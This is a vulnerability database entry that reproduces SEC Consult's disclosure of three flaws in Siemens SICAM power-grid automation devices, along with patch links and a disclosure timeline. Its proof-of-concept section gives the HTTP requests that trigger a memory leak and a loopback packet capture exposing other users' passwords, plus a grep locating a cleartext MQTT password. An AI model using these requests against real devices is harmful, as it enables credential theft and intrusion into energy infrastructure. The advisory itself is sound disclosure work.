ID

VAR-202405-0176

CVE

CVE-2024-31485

TITLE

Siemens SICAM Product Command Injection Vulnerability

DESCRIPTION

A vulnerability has been identified in CPCI85 Central Processing/Communication (All versions < V5.30), SICORE Base system (All versions < V1.3.0). The web interface of affected devices is vulnerable to command injection due to missing server side input sanitation. This could allow an authenticated privileged remote attacker to execute arbitrary code with root privileges. SICAM 8 Power automation platform is a universal, all-in-one hardware and software-based solution for all applications in the power supply sector. The SICAM A8000 RTU (Remote Terminal Unit) series is a modular device family for telecontrol and automation applications in all areas of energy supply. SICAM EGS (Enhanced Grid Sensor) is a gateway for local substations in distribution networks. SEC Consult Vulnerability Lab Security Advisory < 20240626-0 > ======================================================================= title: Multiple Vulnerabilities in Power Automation Products product: Siemens CP-8000/CP-8021/CP8-022/CP-8031/CP-8050/SICORE vulnerable version: CPC80 < V16.41 / CPCI85 < V5.30 / OPUPI0 < V5.30 / SICORE < V1.3.0 / CPCX26 < V06.02 for CP-2016 and PCCX26 < V06.05 for CP-2019 in SICAM AK3 / ETA4 < V10.46 and ETA5 < V03.27 for SM-2558 ins SICAM AK3, SICAM BC and SICAM TM fixed version: CPC80 V16.41 / CPCI85 V5.30 / OPUPI V5.30 / SICORE V1.3.0 / CPCX26 V06.02 / PCCX26 V06.05 / ETA4 V10.46 / ETA5 V03.27 CVE number: CVE-2024-31484, CVE-2024-31485, CVE-2024-31486 impact: high homepage: https://www.siemens.com/global/en/products/energy/energy-automation-and-smart-grid.html found: 2023-04-03 and 2024-01-12 by: Stefan Viehboeck (Office Vienna) Steffen Robertz (Office Vienna) Gerhard Hechenberger (Office Vienna) Constantin Schieber-Knoebl (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Eviden business Europe | Asia https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "We are a technology company focused on industry, infrastructure, transport, and healthcare. From more resource-efficient factories, resilient supply chains, and smarter buildings and grids, to cleaner and more comfortable transportation as well as advanced healthcare, we create technology with purpose adding real value for customers." Source: https://new.siemens.com/global/en/company/about.html Business recommendation: ------------------------ The vendor provides a patch which should be installed immediately. SEC Consult highly recommends to perform a thorough security review of the product conducted by security professionals to identify and resolve potential further security issues. Vulnerability overview/description: ----------------------------------- 1) Buffer Overread (Only CP-8000/CP-8021/CP-8022/CP-8031/CP-8050/CPCX26/PCCX26/ETA4/ETA5, CVE-2024-31484) The webserver running on the CP-8050 and CP-8031 is vulnerable to a buffer overread vulnerability. The value of the HTTP header "Session-ID" is processed and used in a "strncpy" call without proper termination. Thus, data structures from the BSS segment will be leaked in the response. Attackers might be able to read sensitive data from memory. 2) Privilege Escalation (Only CP-8031/CP-8050 and SICORE devices, CVE-2024-31485) An attacker with an account with the viewer (or higher) role can intercept unencrypted traffic of other users of the web interface. Thus, the attacker can intercept higher privileged user accounts and passwords and might gain access to their accounts to perform tasks with elevated privileges. 3) Unsafe Storage of MQTT Client Passwords (Only CP-8031/CP-8050, CVE-2024-31486) A PLC with the OPUPI0 MQTT application installed is able to connect to an MQTT server. The configured MQTT password for the server is stored in cleartext on the device and can be read by exploiting a potential code execution or file disclosure vulnerability or with physical access to the device. Proof of concept: ----------------- 1) Buffer Overread (Only CP-8000/CP-8021/CP-8022/CP-8031/CP-8050/CPCX26/PCCX26/ETA4/ETA5, CVE-2024-31484) The buffer overread can be triggered by sending a "Session-ID" in the HTTP request header with exactly 20 bytes. This can be done with e.g. this request: POST /SICAM_TOOLBOX_1703_remote_connection_00.htm HTTP/1.1 User-Agent: SICAM TOOLBOX II Version: 1 Session-ID: 3814280BA9921c6cAAAA Sequence-ID: 1 Content-Length: 8 Content-Type: text/plain KeepAlive: 5 Connection: close type=3 The server answers with following response: HTTP/1.1 200 OK Server: SICAM 1703 Version: 1 Session-ID: 3814280BA9921c6cAAAAæk¤ Cache-Control: max-age=0, private X-Frame-Options: sameorigin Strict-Transport-Security: max-age=31536000; includeSubdomains Content-Security-Policy: default-src 'self' data: blob: 'unsafe-inline' 'unsafe-eval' X-XSS-Protection: 1; mode=block X-Permitted-Cross-Domain-Policies: none Content-Length: 71 Connection: close Date: Wed, 30 Mar 2022 01:38:37 GMT Sequence-ID: 1 Content-Type: text/plain Content-Length: 8 type=4 The Session-ID in the response leaks at least 4 additional bytes. Further, the structure of the response is broken, as some HTTP headers are suddenly part of the body. The vulnerability most likely stems from a misuse of the strncpy function. The following code segment was analyzed (RTUM85.elf, Offset 0x1d50de): ptr_fcgi_header = get_fcgi_param(fcgi_struct, "HTTP_SESSION_ID); if (ptr_fcgi_header == (char*) 0x00) goto LAB_001d4a66; if ( is_a_session_available == 0 ) { strncpy(&session_id, ptr_fcgi_header, 0x14); } strncpy is called with a length parameter of 0x14. To trigger the vulnerability, we are sending exactly 0x14 bytes. Thus, we believe that the global session_id variable is never properly terminated with a Null-pointer. libc's documentation even contains a warning for this case: "If there is no null byte among the first n bytes of src, the string placed in dest will not be null-terminated." Thus, if the response is built, every data structure in BSS following the session_id global will be printed as string until a Null byte is encountered. 2) Privilege Escalation (Only CP-8031/CP-8050 and SICORE devices, CVE-2024-31485) An attacker with an account with the viewer (or higher) role can intercept unencrypted traffic of other users of the web interface. Thus, the attacker can intercept higher privileged user accounts and passwords. By starting the Ethernet Packet Capture (Home -> Monitoring & Simulation -> Ethernet Packet Capture), a request is sent. This request can be modified by an interceptor proxy (e.g. Burp Suite). POST /sicweb-ajax/rtum85/cview HTTP/1.1 Host: HOST User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/xml SICWEB-SID: xNG1v825qFmCMo8hpjfISlVARKipW1B+lz9d5FoBxipR87VT Content-Length: 198 Origin: http:// HOST Connection: close Referer: http:// HOST/ <?xml version="1.0" encoding="UTF-8"?> <Cmd_SetCustomViewValue><view id="packet_capture"><parameter id="p0"> <value>lo</value> </parameter></view></Cmd_SetCustomViewValue> The attacker can then send the parameter id p0 to the value "lo" and start the packet capture in order to dump from the loopback interface. It is a valid interface, as it only consist of lowercase characters and numbers (fix for CVE-2023-33919). However, the webserver implements TLS in a stunnel fashion. It accepts all TLS traffic on port 443, then decrypts it and forwards it via loopback interface to port 80. By being able to read the loopback traffic, an attacker can now see all communication, including passwords of higher privileged users. 3) Unsafe Storage of MQTT Passwords (Only CP-8031/CP-8050, CVE-2024-31486) To demonstrate the issue, the following parameters were set for the MQTT client using the Siemens Toolbox II: * "8 MQTT password" mqtt_pw_sectest * "9 MQTT username" mqtt_sectest The password (together with the username) can be located in the /ies/data/local/system/iescfg.iar file on the device, which can be retrieved by shell access/code execution on the device or by desoldering and reading its unencrypted flash memory chip: ----------------------------------------------------------------------- grep -rain "mqtt_pw_sectest" /ies/data/local/system/iescfg.iar [...] mqtt mqtt_sectest. mqtt_pw_sectest. < �MQTT_Broker [...] ----------------------------------------------------------------------- Vulnerable / tested versions: ----------------------------- The following version has been tested which was the latest version available at the time of the test: Vulnerability 1 and 2 were confirmed on Siemens SICAM A8000 CP-8031 V05.12 Vulnerability 3 was confirmed on Siemens A8000 CP-8050 V04.92 Vendor contact timeline: ------------------------ 2023-04-18: Contacting vendor through productcert@siemens.com for vulnerability 3 2023-04-19: Advisory will be handled as case #92461. 2023-06-13: Siemens releases advisory for other vulnerabilities, see https://sec-consult.com/vulnerability-lab/advisory/multiple-vulnerabilities-siemens-a8000/ 2023-10-09: Requesting status update 2024-04-03: Requesting status update. 2024-04-04: Unsafe Storage of MQTT password: fix will be released in April 2024, Siemens advisory scheduled for May 2024 2024-04-11: Contacting vendor through productcert@siemens.com for Vulnerability 1 and 2 2024-04-12: Siemens assigned case #68662 for Vulnerability 1,2 2024-05-14: Siemens publishes SSA-871704 for vulnerability 1,2,3 2024-06-11: Siemens publishes SSA-620338 for Vulnerability 1 2024-06-26: Public release of advisory Solution: --------- The vendor provides a patch which can be downloaded at the following URLs depending on the affected device: CPC80 Central Processing/Communication: The firmware CPC80 V16.41 is present within “CP-8000/CP-8021/CP-8022 Package” V16.41 https://support.industry.siemens.com/cs/ww/en/view/109812178/ CPCI85 Central Processing/Communication: The firmware CPCI85 V5.30 is present within "CP-8031/CP-8050 Package" V5.30 https://support.industry.siemens.com/cs/ww/en/view/109804985/ SICORE Base system: The firmware SICORE V1.3.0 is present within "SICAM 8 Software Solution Package" V5.30 https://support.industry.siemens.com/cs/ww/en/view/109818240/ OPUPI0 AMQP/MQTT: The firmware OPUPI0 V5.30 is present within "CP-8031/CP-8050 Package" V5.30 https://support.industry.siemens.com/cs/ww/en/view/109804985/ CPCX26 Central Processing/Communication: The firmware CPCX26 V06.02 is present within “SICAM RTUs AK3 Package” V06.02 https://support.industry.siemens.com/cs/ww/en/view/109813252/ PCCX26 Ax 1703 PE, Contr, Communication Element: The firmware PCCX26 V06.05 is present within “SICAM RTUs AK3 Package” V06.02 https://support.industry.siemens.com/cs/ww/en/view/109813252/ ETA4 Ethernet Interface IEC60870-5-104: The firmware ETA4 V10.46 is present within “SICAM RTUs AK3 Package” V06.02 https://support.industry.siemens.com/cs/ww/en/view/109813252/ ETA5 Ethernet Int. 1x100TX IEC61850 Ed.2: The firmware ETA5 V03.27 is present within “SICAM RTUs AK3 Package” V06.02 https://support.industry.siemens.com/cs/ww/en/view/109813252/ Additional information from the vendor can be found in their advisories: https://cert-portal.siemens.com/productcert/html/ssa-871704.html https://cert-portal.siemens.com/productcert/html/ssa-620338.html Workaround: ----------- Limit network and physical access to the PLC. Advisory URL: ------------- https://sec-consult.com/vulnerability-lab/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Eviden business Europe | Asia About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an Eviden business. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://sec-consult.com/career/ Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://sec-consult.com/contact/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: security-research at sec-consult dot com Web: https://www.sec-consult.com Blog: https://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF Stefan Viehboeck, Steffen Robertz, Gerhard Hechenberger, Constantin Schieber-Knoebl / @2024

IOT TAXONOMY

AFFECTED PRODUCTS

CVSS

PROBLEMTYPE DATA

PATCH

EXTERNAL IDS

REFERENCES

CREDITS

Gerhard Hechenberger, Steffen Robertz, Constantin Schieber-Knoebl, Stefan Viehbock

SOURCES

LAST UPDATE DATE

2024-08-14T13:41:06.960000+00:00

SOURCES UPDATE DATE

SOURCES RELEASE DATE